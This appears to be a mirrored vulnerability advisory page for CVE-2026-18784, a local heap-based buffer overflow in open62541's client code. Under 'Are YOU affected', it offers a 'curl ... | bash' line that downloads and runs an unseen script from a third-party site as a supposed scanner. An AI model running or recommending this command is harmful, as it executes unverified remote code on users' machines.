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NVD · CVE-2026-18784

CVE-2026-18784

Published: Tue, 04 Aug 2026 17:16

CVE-2026-18784

Summary

A vulnerability was found in o6 open62541 up to 1.5.5. This issue affects the function UA_Client_readNodeClassAttribute of the file src/client/ua_client_highlevel.c. Performing a manipulation results

Details

A vulnerability was found in o6 open62541 up to 1.5.5. This issue affects the function UA_Client_readNodeClassAttribute of the file src/client/ua_client_highlevel.c. Performing a manipulation results in heap-based buffer overflow. Attacking locally is a requirement. The exploit has been made public and could be used. The project closed the issue report, stating that this is not the official way to report a security vulnerability.

Are YOU affected by CVE-2026-18784?

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curl https://mindsparkstack.com/scan.sh | bash

References

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